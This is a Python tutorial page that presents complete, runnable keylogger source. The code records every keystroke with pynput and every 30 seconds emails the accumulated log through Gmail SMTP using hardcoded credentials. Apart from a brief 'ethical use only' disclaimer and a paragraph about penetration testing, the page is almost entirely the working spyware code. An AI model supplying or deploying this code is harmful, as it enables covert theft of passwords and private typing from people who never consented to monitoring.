KeyLogger use case.
The keylogger is another useful tool built on Python and it's libraries, which traces users keyboard activities and report them to specified e-mail address. Please don't forget to use it for educational and ethical purpose only like network administration and network security.
This solution itself uses Python2 realisation as pynput was not adapted for Python3 at the time of code creation which is not a big problem for practical usage at all.
Python Knowledge Base: Make coding great again.
- Updated:
2024-12-01 by Andrey BRATUS, Senior Data Analyst.
There is an ethical way to Key Log:
Python code to implement KeyLogger tool:
A Keylogger implemented in Python serves as a powerful tool for ethical hacking, allowing security professionals to capture and record keystrokes made on a target device to assess vulnerabilities in user input security. By monitoring keystrokes, ethical hackers can identify potential threats, such as unencrypted passwords and sensitive data leaks, helping organizations understand weaknesses in their security protocols. This tool is often used in penetration testing scenarios to simulate real-world attacks, ultimately aiding in the enhancement of overall cybersecurity measures.
Below is a Python realisation of keylogger which can be executed from this command line:# python andrew_keylogger.py
import pynput.keyboard
import smtplib
import threading
log = ""
def callback_function(key):
global log
try:
log = log + key.char.encode("utf-8")
#log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + str(key)
print(log)
def send_email(email,password,message):
email_server = smtplib.SMTP("smtp.gmail.com",587)
email_server.starttls()
email_server.login(email,password)
email_server.sendmail(email,email,message)
email_server.quit()
def thread_function():
global log
send_email("andrewtest@gmail.com", "andrewtest123456", log)
log = ""
timer_object = threading.Timer(30,thread_function)
timer_object.start()
keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
thread_function()
keylogger_listener.join()